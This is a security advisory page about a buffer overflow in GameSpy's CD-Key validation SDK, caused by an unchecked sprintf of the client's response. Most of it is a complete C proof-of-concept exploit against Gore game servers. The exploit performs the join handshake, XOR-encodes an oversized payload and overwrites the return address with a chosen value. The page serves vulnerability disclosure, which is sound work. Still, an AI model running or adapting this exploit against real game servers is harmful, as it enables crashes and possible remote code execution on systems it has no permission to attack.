|
Brought to you by:
Suppliers of:
|
|
|
| |
Gamespy's CDKey validation toolkit is an SDK for games developers which enables them to easily implement online management of users and cd-key validation.
The in-game CD-Key validation toolkit is prone to a buffer overflow under certain conditions outlined in the following advisory. This might lead to remote code execution on the target server. |
| |
Credit:
The information has been provided by Luigi Auriemma.
|
| |
Vulnerable Systems:
* Any game which uses the SDK version prior to 19th November 2004
Immune Systems:
* Games with an updated Gamespy SDK from 19th Nov. onward
The problem begins by an overly long reply sent by the game client to the game server. Typically there is no bounds checking on the returned client string and hence developers must place such a check themselves in order for their game not to be vulnerable. However, most games do not and just use the toolkit blindly.
The string is passed to an sprintf() call in preparation of a query for validating the CD-Key:
query_length = sprintf(
query,
"\\auth\\\\pid\\%d\\ch\\%s\\resp\\%s\\ip\\%d\\skey\\%d",
pid, // product ID of the game
ch, // server challenge
resp, // client response <-- the cause of the bug!
ip, // client IP address
skey); // number to track the query
An explanation of the authentication method used by the Gamespy CD-Key validation SDK is available here:
http://aluigi.altervista.org/papers/gskey-auth.txt
The problem with the sprintf() call is that it allows for an arbitrary string length to be inserted in to the query. This might lead to overwriting of memory in such a manner that paves the way to remote code execution. The query is even XORed with the word "gamespy" in order to somehow obfuscate the format of the buffer. This countermeasure is of course simple and will fool a person looking at the raw data directly.
The vulnerability is limited due to the following factors:
* Since this bug is an in-game bug while building a query for CD-Key validation, the attacker must be a legitimate online user connected to the server.
* The attacker must understand the game's online protocol in order to send the malformed reply which will trigger the buffer overflow. This is perhaps not always trivial and might require the use of a debugger.
* If the developers of the game added special bounds checking code on the user string, thus protecting the toolkit, the buffer overflow would not be exploitable.
Proof Of Concept
Note: The PoC requires additional headers and source files in order to compile. Only the main code is listed below. For the rest, refer to the link.
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/goregsbof.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "md5.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 27777
#define TIMEOUT 3
#define XORSEEK 3 /* "gamespy", \auth\\pid\302\ch\12345678\resp\ */
#define EIP "\xde\xc0\xad\xde"
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV if(timeout(sd) < 0) { \
fputs("\n" \
"Error: socket timeout, no answer received\n" \
"\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
void gamespy_xor(u_char *data, int len);
void gs_info_udp(u_long ip, u_short port);
void gore_pwd_md5(u_char *buff, u_char *pwd, int pwdlen);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
p1[] =
"\x02\x00\x0F\x00"
"\x01" /* 1 = clear, 3 = password */
"\x00\x00\x00\x00\x00\x00\x00\x00", /* password */
p2[] =
"\x0A\x00\x00\x00\x00\x00\x00\x00\x00",
p3[] =
"\x01\x03\x00\x00\x01\x01\x01\x00\x00\x00\x8F\x02"
"\x49" /* hash size, don't modify! */
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"000000000000000000000000000000000"
EIP
"\0";
setbuf(stdout, NULL);
fputs("\n"
"Gore <= 1.49 Gamespy cd-key SDK buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n"
" The return address will be overwritten with 0x%08lx\n"
"\n", argv[0], port, *(u_long *)EIP);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- request informations:\n", stdout);
gs_info_udp(peer.sin_addr.s_addr, port);
for(;;) { /* loop used for password only */
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- send first join packet\n", stdout);
SEND(p1);
RECV;
if(buff[4] == 2) {
fputs("\n- server full\n", stdout);
break;
} else if(buff[4] == 4) {
fputs("\nInsert the password to join the server:\n ", stdout);
fflush(stdin);
fgets(buff, BUFFSZ - 1, stdin);
len = strlen(buff) - 1;
buff[len] = 0x00;
p1[4] = 0x03;
gore_pwd_md5(p1 + 5, buff, len);
close(sd);
continue;
} else if(buff[4] != 1) {
printf("\nError: unknown server error %d\n\n", buff[4]);
exit(1);
}
fputs("- send second join packet\n", stdout);
memcpy(p2 + 1, buff + 5, 8);
SEND(p2);
RECV;
fputs("- encode hash (XOR \"gamespy\")\n", stdout);
gamespy_xor(p3 + 13, sizeof(p3) - 14);
printf("- send final packet containing the buffer-overflow data (EIP: 0x%08lx)\n",
*(u_long *)EIP);
SEND(p3);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
RECV;
if(len > 9) {
printf(
"you have received the following error message from the server\n"
"\n"
" %s\n"
"\n", buff + 12);
}
}
break;
}
close(sd);
return(0);
}
void gamespy_xor(u_char *data, int len) {
u_char gamespy[] = "gamespy",
*gs;
for(gs = gamespy + XORSEEK; len; len--, gs++, data++) {
if(!*gs) gs = gamespy;
*data ^= *gs;
}
}
void gs_info_udp(u_long ip, u_short port) {
struct sockaddr_in peer;
int sd,
len,
nt = 1;
u_char buff[2048],
*p1,
*p2;
peer.sin_addr.s_addr = ip;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nAlert: socket timeout, no replies received. Probably the server doesn't support the Gamespy query protocol or the port is wrong\n\n", stdout);
close(sd);
return;
}
len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;
p1 = buff;
while((p2 = strchr(p1, '\\'))) {
*p2 = 0x00;
if(!nt) {
if(!*p1) break;
printf("%30s: ", p1);
nt++;
} else {
printf("%s\n", p1);
nt = 0;
}
p1 = p2 + 1;
}
printf("%s\n\n", p1);
close(sd);
}
void gore_pwd_md5(u_char *buff, u_char *pwd, int pwdlen) {
md5_context md5t;
static u_char md5h[16];
md5_starts(&md5t);
md5_update(&md5t, pwd, pwdlen);
md5_finish(&md5t, md5h);
memcpy(buff, md5h, 8);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
|
|
|
|
|